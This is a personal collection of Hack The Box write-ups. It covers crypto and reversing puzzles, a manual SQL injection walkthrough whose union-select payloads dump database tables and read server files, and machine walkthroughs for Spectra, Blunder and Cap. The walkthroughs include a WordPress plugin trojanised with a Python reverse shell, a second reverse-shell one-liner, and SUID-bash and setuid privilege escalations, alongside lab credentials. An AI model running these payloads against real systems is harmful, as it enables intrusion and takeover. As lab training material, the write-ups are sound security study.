# Home ## Blog Posts {% content-ref url="/spaces/-MYeWuYlUKKQeyv9WDGf/pages/SfOBfPEiU3xX0UPauxmb" %} [Understanding potential vulnerabilities in authentication mechanisms](/blog-posts/understanding-potential-vulnerabilities-in-authentication-mechanisms) {% endcontent-ref %} ## CTF Write-ups * [Hackthebox](/hack-the-box-write-ups) * [Try Hack Me](/try-hack-me-write-ups) ## Social * [Linkedin](https://www.linkedin.com/in/gabriel-vernilo-mendes-46b786200/) * [HackTheBox](https://app.hackthebox.eu/profile/308682) * [TryHackMe](https://www.tryhackme.com/p/GabrielVernilo) * [Github](https://github.com/gabriel-vernilo/) # Hack The Box Write-ups [Plataform Link](https://hackthebox.eu) {% content-ref url="/pages/-MYeen\_UUaRC0j4zGfjd" %} [Challenges](/hack-the-box-write-ups/challenges) {% endcontent-ref %} {% content-ref url="/pages/-MYeegd82\_InwB1z7T7O" %} [Machines](/hack-the-box-write-ups/machines) {% endcontent-ref %} # Challenges {% embed url="" %} {% content-ref url="/pages/-MYefwvgmys2ELexiM7q" %} [Crypto : Bank Heist](/hack-the-box-write-ups/challenges/crypto-bank-heist) {% endcontent-ref %} {% content-ref url="/pages/-MYegx3ApM0BhXs7rAFf" %} [Crypto: Templed](/hack-the-box-write-ups/challenges/crypto-templed) {% endcontent-ref %} {% content-ref url="/pages/-MYehZ0xlUDFSQ1zrnZy" %} [Reversing: Baby RE](/hack-the-box-write-ups/challenges/reversing-baby-re) {% endcontent-ref %} {% content-ref url="/pages/-MYeitSee\_jmXIaw7tgV" %} [Web: emdee five for life](/hack-the-box-write-ups/challenges/web-emdee-five-for-life) {% endcontent-ref %} {% content-ref url="/pages/-MYejdK\_-3Adh8Ym0CH7" %} [Web: Freelancer](/hack-the-box-write-ups/challenges/web-freelancer) {% endcontent-ref %} # Reversing: Baby RE ## Description "Show us your basic skills! (P.S. There are 4 ways to solve this, are you willing to try them all?)" and we have a file, which by unzipping we give a file without extension called "baby" seeing the strings of this file we see an interesting thing, like ``` HTB{B4BYH _R3V_TH4H TS_Ef "Don't run "strings" on this challenge, that is not the way!!!!" insert key: abcde122313 ``` but for me what most caught my attention were the following strings ``` puts stdin strcmp GCC: (Debian 9.2.1-8) 9.2.1 20190909 baby.c ``` because it indicates that this file is a file that can be decompiled into a C file for this, I used the reverse engineering program called Ghidra after decompiling and recompiling this program in a C code, we have this: ![](https://user-images.githubusercontent.com/53917092/94746476-2a31ae80-0353-11eb-8c51-086acb58a3e1.png) and passing these strings from hexadecimal to ASCII [![image](https://user-images.githubusercontent.com/53917092/94746518-46cde680-0353-11eb-9f91-5b5d44e6d168.png)](https://user-images.githubusercontent.com/53917092/94746518-46cde680-0353-11eb-9f91-5b5d44e6d168.png) we have : ![](https://user-images.githubusercontent.com/53917092/94746616-83014700-0353-11eb-8d95-19820f3428b9.png) is strange because it refers to memory addresses, that is, these strings are backward, but in pairs example : 0x7d5a is 0x5a 0x7d then fixing, we have: ``` 0x594234427b425448 0x3448545f5633525f 0x455f5354 0x7d5a ``` \==> ``` 48 54 42 7b 42 34 42 59 5f 52 33 56 5f 54 48 34 54 53 5f 45 5a 7d ``` now, if we convert this from hex to ASCII, we have the right flag # Crypto: Templed ## Templed for this challenge we have the following description: "I found the following message in a temple, I had the sensation that they were hiding something. Could you help me discover what it was?" and we have a file to download after downloading the file and decompressing, we have the image called "Scroll": [![image](https://user-images.githubusercontent.com/53917092/94723678-85ea4080-032f-11eb-9de4-4f6b9109de49.png)](https://user-images.githubusercontent.com/53917092/94723678-85ea4080-032f-11eb-9de4-4f6b9109de49.png) searching about "temple language" we find it [![image](https://user-images.githubusercontent.com/53917092/94726116-2857f300-0333-11eb-8115-7f4f62825a69.png)](https://user-images.githubusercontent.com/53917092/94726116-2857f300-0333-11eb-8115-7f4f62825a69.png) [![image](https://user-images.githubusercontent.com/53917092/94726165-39a0ff80-0333-11eb-8587-109599c833fd.png)](https://user-images.githubusercontent.com/53917092/94726165-39a0ff80-0333-11eb-8587-109599c833fd.png) so using this image, we can easily decrypt our challenge and we have 72 84 66 123 77 48 78 107 115 95 107 78 51 119 33 12 125 to get the flag, convert this text from decimal to ASCII; # Crypto : Bank Heist ## Description "You get to the scene of a bank heist and find that you have caught one person. Under further analysis of the persons flip phone you see a message that seems suspicious. Can you figure out what the message to put this guy in jail?" and we have a file that contains the following message ``` "444333 99966688 277733 7773323444664 84433 22244474433777, 99966688 277733 666552999. 99966688777 777744277733 666333 84433 443344477778 4447777 44466 99966688777 4466688777733. 84433 5533999 8666 84433 55566622255 4447777 22335556669. 4666 8666 727774447777. 47777888 995559888 4555 47777888 44999988 666555997 : 8555444888477744488866888648833369!!" ``` After a little analysis, I realized that it was a message typed into these phones: [![image](https://user-images.githubusercontent.com/53917092/94738785-4c70ff80-0346-11eb-82fc-d719aa74fc5f.png)](https://user-images.githubusercontent.com/53917092/94738785-4c70ff80-0346-11eb-82fc-d719aa74fc5f.png) decoding, we have : ``` "IF YOU ARE READING THE CIPHER, YOU ARE OKAY. YOUR SHARE OF THE HEIST IS IN YOUR HOUSE. THE KEY TO THE LOCK IS BELOW. GO TO PARIS. GSV XLWV GL GSV HZU OLXP : TLIVGRIVNVMGUFMW!!" ``` in this last part, we have one more encoded phrase, testing some cryptographs, I reached the caesar cipher, (that I have already programmed an encoder and decoder, look at my repositories here at github), and when I tried with 25 of shift, I got the answer. ![](https://user-images.githubusercontent.com/53917092/94739321-3283ec80-0347-11eb-9dda-40cb04c3e8dc.png) "GSV XLWV GL GSV HZU OLXP : TLIVGRIVNVMGUFMW!!" --> "HE CODE TO THE SAF LOCK : GORETIREMENTFUND!!" # Web: emdee five for life ## Description "Can you encrypt fast enough?" the site has a field that asks for an encrypted text in md5: [![image](https://user-images.githubusercontent.com/53917092/94753540-ddef6a00-0364-11eb-8138-fc5c5895d50b.png)](https://user-images.githubusercontent.com/53917092/94753540-ddef6a00-0364-11eb-8138-fc5c5895d50b.png) but when we encrypt and put it manually, it says we are too slow, and gives another text ![](https://user-images.githubusercontent.com/53917092/94753589-024b4680-0365-11eb-83f7-42173cbbe934.png) [![image](https://user-images.githubusercontent.com/53917092/94753610-198a3400-0365-11eb-8dcb-e5da4829e4ed.png)](https://user-images.githubusercontent.com/53917092/94753610-198a3400-0365-11eb-8dcb-e5da4829e4ed.png) we deduce that we have to automate to make it fast for this I used python3, with the libs : requests, hashlib and bs4 requests to make the connection to the site; hashlib to encrypt the text in md5; bs4 to get the text that will be encrypted; so I wrote the code: ``` import requests from hashlib import md5 from bs4 import BeautifulSoup site = "http://docker.hackthebox.eu:31014/" r = requests.session() getreq = r.get(site) h3tag = BeautifulSoup(getreq.text, 'html.parser').find('h3') Encrypted = md5((str(h3tag)[19:-5]).encode("utf-8")).hexdigest() data = {'hash':Encrypted} send = r.post(site,data) print(send.text) ``` it connects to the site, finds the h3 tag, takes what it contains, encrypts and sends it as data this give us the flag # Web: Freelancer ## Exploring SQL injection manually (without sqlmap, just browser and URL) ### First step: recognition at first, I looked at the source code of the page: ![](https://user-images.githubusercontent.com/53917092/94802615-5afafd80-03be-11eb-8df1-d49a7aea2f79.png) and then these comments caught my attention ![](https://user-images.githubusercontent.com/53917092/94802741-909fe680-03be-11eb-872e-80ee32c05a06.png) so I checked these pages * /portfolio.php?id=1 * /portfolio.php?id=2 * /portfolio.php?id=3 ![](https://user-images.githubusercontent.com/53917092/94802936-e1afda80-03be-11eb-89e7-e4dbd060f0d8.png) ![](https://user-images.githubusercontent.com/53917092/94802981-f3917d80-03be-11eb-8cbc-ad288a8c7dcb.png) ![](https://user-images.githubusercontent.com/53917092/94803017-fee4a900-03be-11eb-9b0d-4bd3fc74251a.png) It is obvious that they are not separate pages, it's a pattern that changes only the number according to the id so I tried to make a simple sql injection using the command "order by" to find out how many columns this "id" table has > id= 1 order by 1 ![](https://user-images.githubusercontent.com/53917092/94805682-2c335600-03c3-11eb-9688-d8afd3105a71.png) > id= 1 order by 2 ![](https://user-images.githubusercontent.com/53917092/94805721-35bcbe00-03c3-11eb-9ed7-449136fdb388.png) > id= 1 order by 3 ![](https://user-images.githubusercontent.com/53917092/94805751-40775300-03c3-11eb-8f90-a845ca17118a.png) > id= 1 order by 4 (we have an error, so we only have 3 columns) ![](https://user-images.githubusercontent.com/53917092/94805773-49682480-03c3-11eb-88c9-63c3dd2997d2.png) so we find that there are from tables 1 to 3 to be able to see the information of our sql query, I will use "union select" ![](https://user-images.githubusercontent.com/53917092/94806344-2b4ef400-03c4-11eb-8058-9299a62821b8.png) to ignore the first sentence, I will change 1 for -1 > id=1 union select 1,2,3 \=> > id=-1 union select 1,2,3 ![](https://user-images.githubusercontent.com/53917092/94806452-56d1de80-03c4-11eb-96e6-c5bd26153e32.png) now, we can view the information in 2 and 3 from this union select example: if we change > id=-1 union select 1,2,3 to > id = -1 union select 1,"gabriel","vernilo" we got this: ![](https://user-images.githubusercontent.com/53917092/94806641-add7b380-03c4-11eb-8f4c-c99b7f42a3b7.png) and if we use: id=-1 union select 1," ",@@version ![](https://user-images.githubusercontent.com/53917092/94806920-30f90980-03c5-11eb-9239-181b4669f515.png) we discovered the version of the database the next part involves knowledge of how mySQL databases work mySQL databases have by default a table with useful information called information\_schema using this we can get the name of the databases > id=-1 union select 1," ",schema\_name from information\_schema.schemata ![](https://user-images.githubusercontent.com/53917092/94808687-e036e000-03c7-11eb-93a4-2ba2c2cf93df.png) now we know that there are databases: freelancer; information\_schema; mysql; performance\_schema now I'll try to get the names of the tables from inside the "freelancer" database > id=-1 union select 1," ",table\_name from information\_schema.tables where table\_schema = "freelancer" ![](https://user-images.githubusercontent.com/53917092/94810199-170df580-03ca-11eb-90dd-97ff91e7e7d9.png) now I will try to see the columns inside the safeadmin table inside the freelance database > id=-1 union select 1," ",column\_name from information\_schema.columns where table\_schema = "freelancer" and table\_name = "safeadmin" ![](https://user-images.githubusercontent.com/53917092/94810635-a7e4d100-03ca-11eb-8623-41e7d3d00cdb.png) now I'll try to see the username column information > id=-1 union select 1," ",username from safeadmin now we have that the user is safeadm ![](https://user-images.githubusercontent.com/53917092/94811175-64d72d80-03cb-11eb-963f-b3f2a5607959.png) now I'll try to see the password column information > id=-1 union select 1," ",password from safeadmin ![](https://user-images.githubusercontent.com/53917092/94811077-47a25f00-03cb-11eb-8b7e-37e71686e050.png) the admins password isn't `"$2y$10$s2ZCi/tHICnA97uf4MfbZuhmOZQXdCnrM9VM9LBMHPp68vAXNRf4K"` it's a hash, which I can't break :( looking for ideas I decided to go back to the initial phase, the recognition so I did a fuzzing to discover more directories and files I found the file "/administrat/panel.php" (admin's panel, probably) in the browser, the page redirects to /administrat/index.php and asks for a login ![](https://user-images.githubusercontent.com/53917092/94814045-2b082600-03cf-11eb-804e-add3c04d25bf.png) so I tried to return at portfolios page and read the admin's panel with a SQL command > id=-1 union select 1," ",load\_file("/var/www/html/administrat/panel.php") and this shows us the flag; ![](https://user-images.githubusercontent.com/53917092/94814288-833f2800-03cf-11eb-92f8-6a43e34b9b91.png) # Machines Hackt The Box Writeups/walkthroughs. {% embed url="" %} {% content-ref url="/pages/-MYemEfUrdtFKk3gWNv3" %} [Blunder](/hack-the-box-write-ups/machines/blunder) {% endcontent-ref %} {% content-ref url="/spaces/-MYeWuYlUKKQeyv9WDGf/pages/-Md86LZ-SvlI9z05lOA8" %} [Spectra](/hack-the-box-write-ups/machines/spectra) {% endcontent-ref %} {% content-ref url="/spaces/-MYeWuYlUKKQeyv9WDGf/pages/wK0GrB74rwDrQS4lOaue" %} [Cap](/hack-the-box-write-ups/machines/cap) {% endcontent-ref %} {% content-ref url="/spaces/-MYeWuYlUKKQeyv9WDGf/pages/FKUBHIJd7DdqWqLo83us" %} [Knife](/hack-the-box-write-ups/machines/knife) {% endcontent-ref %} {% content-ref url="/spaces/-MYeWuYlUKKQeyv9WDGf/pages/AQQkaW1ZHOMvfKmejnkM" %} [The Notebook](/hack-the-box-write-ups/machines/the-notebook) {% endcontent-ref %} # Spectra ## Spectra - Hack the Box Machine name: Spectra OS: Other Difficulty: Easy Points: 20 Release: 27 Feb 2021 I P: 10.10.10.229 ## Nmap > nmap -v -sCV -O 10.10.10.229 ``` PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.1 (protocol 2.0) 80/tcp open http nginx 1.17.4 | http-methods: |_ Supported Methods: GET HEAD |_http-server-header: nginx/1.17.4 3306/tcp open mysql MySQL (unauthorized) ``` ### Web Service (nginx - 80) ![](https://user-images.githubusercontent.com/53917092/110375639-fe68d200-8030-11eb-9dee-b470812cc4d3.png) By clicking on any of these links, we are redirected to a hostname (spectra.htb). ![](https://user-images.githubusercontent.com/53917092/110376106-8fd84400-8031-11eb-9025-46eb60503e60.png) so I added it to my /etc/hosts > 10.10.10.229 spectra.htb ## Wordpress (1st Link) > ![](https://user-images.githubusercontent.com/53917092/110377217-e4c88a00-8032-11eb-9786-258a00b7c864.png) ### Wpscan > wpscan --url -e vp,vt,u ``` __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8.15 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________ [+] URL: http://spectra.htb/main/ [10.10.10.229] [+] Started: Mon Mar 8 18:18:35 2021 Interesting Finding(s): [+] Headers | Interesting Entries: | - Server: nginx/1.17.4 | - X-Powered-By: PHP/5.6.40 | Found By: Headers (Passive Detection) | Confidence: 100% [+] XML-RPC seems to be enabled: http://spectra.htb/main/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access [+] WordPress readme found: http://spectra.htb/main/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] The external WP-Cron seems to be enabled: http://spectra.htb/main/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299 [+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10). | Found By: Rss Generator (Passive Detection) | - http://spectra.htb/main/?feed=rss2, https://wordpress.org/?v=5.4.2 | - http://spectra.htb/main/?feed=comments-rss2, https://wordpress.org/?v=5.4.2 [+] WordPress theme in use: twentynineteen | Location: http://spectra.htb/main/wp-content/themes/twentynineteen/ | Last Updated: 2020-12-22T00:00:00.000Z | Readme: http://spectra.htb/main/wp-content/themes/twentynineteen/readme.txt | [!] The version is out of date, the latest version is 1.9 | Style URL: http://spectra.htb/main/wp-content/themes/twentynineteen/style.css?ver=1.5 | Style Name: Twenty Nineteen | Style URI: https://wordpress.org/themes/twentynineteen/ | Description: Our 2019 default theme is designed to show off the power of the block editor. It features custom sty... | Author: the WordPress team | Author URI: https://wordpress.org/ | | Found By: Css Style In Homepage (Passive Detection) | | Version: 1.5 (80% confidence) | Found By: Style (Passive Detection) | - http://spectra.htb/main/wp-content/themes/twentynineteen/style.css?ver=1.5, Match: 'Version: 1.5' [i] No plugins Found. [i] No themes Found. [i] User(s) Identified: [+] administrator | Found By: Author Posts - Display Name (Passive Detection) | Confirmed By: | Rss Generator (Passive Detection) | Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Login Error Messages (Aggressive Detection) [!] No WPScan API Token given, as a result vulnerability data has not been output. [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register [+] Finished: Mon Mar 8 18:19:05 2021 [+] Requests Done: 343 [+] Cached Requests: 48 [+] Data Sent: 91.765 KB [+] Data Received: 59.735 KB [+] Memory used: 250.008 MB [+] Elapsed time: 00:00:30 ``` (user: administrator) ## /testing/ (2nd Link) second link: > ![](https://user-images.githubusercontent.com/53917092/110377960-c747f000-8033-11eb-80d7-5bae850953db.png) So I looked at /testing/ directory. > ![](https://user-images.githubusercontent.com/53917092/110378056-e9417280-8033-11eb-8f42-561e7a8fd940.png) The file "wp-config.php.save" caught my attention. We can't see the source code from a .php file, but if it's with any other extension we can, like ".php.txt" ou ".php.save". Looking at the source code we see some interesting things. ![](https://user-images.githubusercontent.com/53917092/110378749-b8ae0880-8034-11eb-9f82-7061585e84ac.png) We can try to log into wordpress with the user "administrator" that wpscan showed us, with the password "devteam01" that we see in this file. > it works!! ![](https://user-images.githubusercontent.com/53917092/110379562-bef0b480-8035-11eb-9d1b-9dd5a9cd3399.png) ## Getting shell I tried to change some php files, like the header files or some plugins. nothing worked. so I decided to put my own plugin with a reverse shell. For that, I got the "Hello Dolly" plugin (this plugin adds a phrase from the song "hello dolly" at the top of every dashboard page). So I took the only file that makes up this plugin and copied it to my machine, added a reverse shell, made it into a .zip file, uploaded it as a new plugin on the server, activated it, and got a shell. #### my hello2.php ``` /** * @package Hello_Dolly * @version 1.7.2 */ /* Plugin Name: Hello Dolly Plugin URI: http://wordpress.org/plugins/hello-dolly/ Description: This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from Hello, Dolly in the upper right of your admin screen on every page. Author: Matt Mullenweg Version: 1.7.2 Author URI: http://ma.tt/ */ function hello_dolly_get_lyric() { /** These are the lyrics to Hello Dolly */ $lyrics = "Hello, Dolly Well, hello, Dolly It's so nice to have you back where you belong You're lookin' swell, Dolly I can tell, Dolly You're still glowin', you're still crowin' You're still goin' strong I feel the room swayin' While the band's playin' One of our old favorite songs from way back when So, take her wrap, fellas Dolly, never go away again Hello, Dolly Well, hello, Dolly It's so nice to have you back where you belong You're lookin' swell, Dolly I can tell, Dolly You're still glowin', you're still crowin' You're still goin' strong I feel the room swayin' While the band's playin' One of our old favorite songs from way back when So, golly, gee, fellas Have a little faith in me, fellas Dolly, never go away Promise, you'll never go away Dolly'll never go away again"; // Here we split it into lines. $lyrics = explode( "\n", $lyrics ); // And then randomly choose a line. return wptexturize( $lyrics[ mt_rand( 0, count( $lyrics ) - 1 ) ] ); } // This just echoes the chosen line, we'll position it later. function hello_dolly() { system('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\''); $chosen = hello_dolly_get_lyric(); $lang = ''; if ( 'en_' !== substr( get_user_locale(), 0, 3 ) ) { $lang = ' lang="en"'; } printf( '

%s %s

', __( 'Quote from Hello Dolly song, by Jerry Herman:' ), $lang, $chosen ); } // Now we set that function up to execute when the admin_notices action is called. add_action( 'admin_notices', 'hello_dolly' ); // We need some CSS to position the paragraph. function dolly_css() { echo " "; } add_action( 'admin_head', 'dolly_css' ); ``` (i put my reverse shell in the "hello\_dolly()" function) uploading the .zip file ![](https://user-images.githubusercontent.com/53917092/110416637-cd10f600-8072-11eb-9890-6d64b04f6d0e.png) ![](https://user-images.githubusercontent.com/53917092/110416759-06496600-8073-11eb-8716-8234f1d245e6.png) by clicking "activate Plugin" we get our shell. ![](https://user-images.githubusercontent.com/53917092/110417154-c931a380-8073-11eb-8724-594d969d6bbc.png) to improve our shell run: > bash -i > export TERM=xterm #### User after some enumerations, I looked at the /opt folder. Here we have something interesting. ![](https://user-images.githubusercontent.com/53917092/110514243-de471a80-80e5-11eb-812d-1480db8b4698.png) looking at this configuration file we have that in "/etc/autologin/passwd" there is probably a password. ![](https://user-images.githubusercontent.com/53917092/110514496-1b131180-80e6-11eb-8fe4-beef9d7ea6f7.png) ![](https://user-images.githubusercontent.com/53917092/110514583-3716b300-80e6-11eb-8d84-7a82335723d3.png) Now we have a password. Let's try to find out which user it belongs to. Looking at /etc/passwd this password seems to be for user "katie" > katie:x:20156:20157::/home/katie:/bin/bash We can try to log in using ssh. > ssh > password: SummerHereWeCome!! ![](https://user-images.githubusercontent.com/53917092/110515781-87dadb80-80e7-11eb-87c1-f70901fa704b.png) ## Privilege escalation to root With user katie we can run "sudo -l" and see that we have permission to run the "initctl" command as root. > sudo -l ``` User katie may run the following commands on spectra: (ALL) SETENV: NOPASSWD: /sbin/initctl ``` "initctl" is a program for managing services. We can create, start, stop or restart a service using it. During the process of starting a service, we can request that it run some commands. We are going to look for a service that we can change this command configuration to run code as root. > cd /etc/init > nano test.conf ``` description "Test node.js server" author "katie" start on filesystem or runlevel [2345] stop on shutdown script chmod +s /bin/bash export HOME="/srv" echo $$ > /var/run/nodetest.pid exec /usr/local/share/nodebrew/node/v8.9.4/bin/node /srv/nodetest.js end script pre-start script echo "[`date`] Node Test Starting" >> /var/log/nodetest.log end script pre-stop script rm /var/run/nodetest.pid echo "[`date`] Node Test Stopping" >> /var/log/nodetest.log end script ``` I used the settings of the "test" service (test.conf file). I added "chmod +s /bin/bash" to the "script" section in this configuration file. When I run the command to start the service as root, it will run this command also as root. Then we just use "bash -p" to exploit this permission in bash and make it root. (to put it simply: "chmod +s" turns the binary runnable as root) > sudo -u root initctl start test > bash -p owned. # Blunder ## Information: * Os: Linux * Difficulty: Easy * IP : 10.10.10.191 ## Enumaration NMAP > nmap -sC -sS -sV -O -A -v -v 10.10.10.191 output : ``` PORT STATE SERVICE REASON VERSION 21/tcp closed ftp reset ttl 63 80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu)) |_http-favicon: Unknown favicon MD5: A0F0E5D852F0E3783AF700B6EE9D00DA |_http-generator: Blunder | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Blunder | A blunder of interesting facts ``` let's check the website (apache2 running on port 80) ![image](https://user-images.githubusercontent.com/53917092/94908306-dbca0000-0477-11eb-86b0-3344ea6c0187.png) apparently is a site about interesting facts looking at the page source code we will have : ![image](https://user-images.githubusercontent.com/53917092/94908933-c5707400-0478-11eb-8486-a10699c717da.png) and this caught my attention : ![](https://user-images.githubusercontent.com/53917092/94909079-01a3d480-0479-11eb-8c15-6d81d2c6bce1.png) we know the version is 3.9.2, but we need to find out which is the CMS making a fuzzing we found some files with the name "bl-kernel" searching over this structure I found : ![image](https://user-images.githubusercontent.com/53917092/94910942-c9ea5c00-047b-11eb-8b4a-8e779842f1ca.png) ok, the site is made in bludit 3.9.2 ![image](https://user-images.githubusercontent.com/53917092/94911550-b2f83980-047c-11eb-929c-a93283949f78.png) we can try to use an exploit from CVE-2019-16113, and get a RCE (Remote Code Execution) BUT this exploit needs the user and password, which we do not know so let's find out for this, we can use : ![image](https://user-images.githubusercontent.com/53917092/94912365-eedfce80-047d-11eb-815d-b71854bbe5ee.png) code: this code takes a wordlist and tests all the words to find the password but, we still need the user... we return to the enumeration stage, we can find a file named "todo.txt". ![](https://user-images.githubusercontent.com/53917092/94913801-4121ef00-0480-11eb-9699-fee431f23d1b.png) now we know that there is a user called fergus now let's test the passwords but to generate a list of passwords that makes sense, I will use a tool called "cewl", which takes the words of a site and assembles a list > cewl 10.10.10.191 -w wordlist.txt ![](https://user-images.githubusercontent.com/53917092/94914325-3451cb00-0481-11eb-9ef1-0181e9c90e33.png) now let's use that code to find out the password > python3 10.10.191 fergus wordlist.txt ![](https://user-images.githubusercontent.com/53917092/94914692-dffb1b00-0481-11eb-96db-6113f67f0615.png) ![](https://user-images.githubusercontent.com/53917092/94915471-58161080-0483-11eb-8a9a-346f0e508273.png) finally, we have the password, now use the exploit from CVE-2019-16113 ## Getting Shell ![](https://user-images.githubusercontent.com/53917092/94916228-abd52980-0484-11eb-80eb-692e4106b982.png) ![](https://user-images.githubusercontent.com/53917092/94916325-e0e17c00-0484-11eb-9363-25d8843cd081.png) ![](https://user-images.githubusercontent.com/53917092/94916508-2b62f880-0485-11eb-974e-a2c2eed20340.png) ![](https://user-images.githubusercontent.com/53917092/94916617-65cc9580-0485-11eb-936c-f74dfa19cff5.png) now we have a shell, but very bad ### improving this shell to improve this shell, we will make this connection start another shell, for this we will use : ``` python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ``` (changing the ip) ![](https://user-images.githubusercontent.com/53917092/94917382-d0320580-0486-11eb-9539-88e8bd9e5e22.png) (on the right screen we have the good shell, but not a tty) to have a tty, run the command : > python -c 'import pty;pty.spawn("/bin/bash")' now we have to try to get access to some users (www-data don't have access to the user flag) looking for files in the www-data, I found > /var/www/bludit-3.10.0a/bl-content/databases/users.php [![image](https://user-images.githubusercontent.com/53917092/94918936-ebeadb00-0489-11eb-98e1-24c1badcff20.png)](https://user-images.githubusercontent.com/53917092/94918936-ebeadb00-0489-11eb-98e1-24c1badcff20.png) here we see the user (hugo) and the encrypted password now let's break the password encryption we need to find out which encryption was used for this I will use a site called tunnelsup ![](https://user-images.githubusercontent.com/53917092/94919144-57cd4380-048a-11eb-8dc3-59600f1b87bc.png) breaking ( ) : ![](https://user-images.githubusercontent.com/53917092/94919344-b85c8080-048a-11eb-8135-c83bce488770.png) now we have the password, let's change our user ![](https://user-images.githubusercontent.com/53917092/94919514-fb1e5880-048a-11eb-8a0d-1b0de989c0ea.png) ## Privilege Escalation running > sudo -l to see what command we can run as root without password, we see that the hugo user can use the command "(ALL, !root) /bin/bash" ![](https://user-images.githubusercontent.com/53917092/115265571-bd72db80-a10d-11eb-8891-59a771a2000f.png) searching for about this, we see that there is an exploit to escalate the privilege ![](https://user-images.githubusercontent.com/53917092/94922594-e47b0000-0490-11eb-87dd-578465479847.png) Let's use it I will download the script to my machine, and start a python http server in my folder, so in the target machine, I can download it from my ip. ![](https://user-images.githubusercontent.com/53917092/94922852-49cef100-0491-11eb-86b7-8a5b96b3ff7e.png) now we are root, just catch the flag. [![image](https://user-images.githubusercontent.com/53917092/94922938-6ec36400-0491-11eb-9a63-c5b123fe0a4d.png)](https://user-images.githubusercontent.com/53917092/94922938-6ec36400-0491-11eb-9a63-c5b123fe0a4d.png) # Cap OS: Linux Difficulty: Easy ## Port Scanning ``` PORT STATE SERVICE REASON VERSION 21/tcp open ftp syn-ack vsftpd 3.0.3 22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) 80/tcp open http syn-ack gunicorn ``` #### checking out the website ![](https://user-images.githubusercontent.com/53917092/120903619-8acd6580-c61d-11eb-87c0-3faeb9725699.png) Now we know that this site is used for network monitoring and that there is a user named Nathan. Checking out "Security Snapshot" ![](https://user-images.githubusercontent.com/53917092/120903720-2b238a00-c61e-11eb-8ac9-de3df3a134dc.png) This option redirects us to /data/1 where no traffic is logged. I changed it to /data/0 and here we see that there is some recorded traffic. ![](https://user-images.githubusercontent.com/53917092/120903730-3c6c9680-c61e-11eb-876e-d2e75b072f81.png) I clicked to download and got a file called 0.pcap so I opened it with wireshark. ## User ![](https://user-images.githubusercontent.com/53917092/120903766-72aa1600-c61e-11eb-9f7a-8b7091209832.png) In this file, we can see a lot of important information. We see that the user made http requests to the site. We see some TCP requests. But the main thing is that we see some FTP requests, where we can get Nathan's username and password on the FTP server. Sorting the requests by protocol and navigating to the end of the file we find this information. ![](https://user-images.githubusercontent.com/53917092/120903978-d4b74b00-c61f-11eb-9156-488ad5edc8d3.png) user: nathan password: Buck3tH4TF0RM3! ![](https://user-images.githubusercontent.com/53917092/120904027-3081d400-c620-11eb-98aa-a3050f5c64c8.png) We can download the user flag running > get user.txt We can also use these credentials to log in in ssh. > ssh nathan@\ > password: Buck3tH4TF0RM3! ## Privesc After some simple enumerations, I saw that the file /var/www/html/app.py had a line written "os.setuid(1000)". That led me to enumerate the binaries with capabilities to change their own uid to 0 (from root) > getcap -r / 2>/dev/null ``` nathan@cap:~$ getcap -r / 2>/dev/null /usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip /usr/bin/ping = cap_net_raw+ep /usr/bin/traceroute6.iputils = cap_net_raw+ep /usr/bin/mtr-packet = cap_net_raw+ep /usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep ``` We see that python3 is allowed to change its own uid. We can make a program that changes its uid and run a shell as root. > python3 -c 'import os;os.setuid(0);os.system("bash")' ![](https://user-images.githubusercontent.com/53917092/120905497-c588cb00-c628-11eb-844a-11d9761b9458.png) ## Helpful links: ### Web * [portswigger](https://portswigger.net/web-security/access-control/idor) * [geeksforgeeks](https://www.geeksforgeeks.org/insecure-direct-object-reference-idor-vulnerability/) * [owasp](https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html) * [hacktricks](https://book.hacktricks.xyz/pentesting-web/idor) ### User * [hacktricks - wireshark](https://book.hacktricks.xyz/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks) * [hacktricks - pentesting FTP](https://book.hacktricks.xyz/pentesting/pentesting-ftp) ### Privesc * [hacktricks - linux privesc](https://book.hacktricks.xyz/linux-unix/privilege-escalation) * [GTFOBins - python](https://gtfobins.github.io/gtfobins/python/) # Knife OS: Linux; - Difficulty: Easy ## Port scan ``` PORT STATE SERVICE 22/tcp open ssh 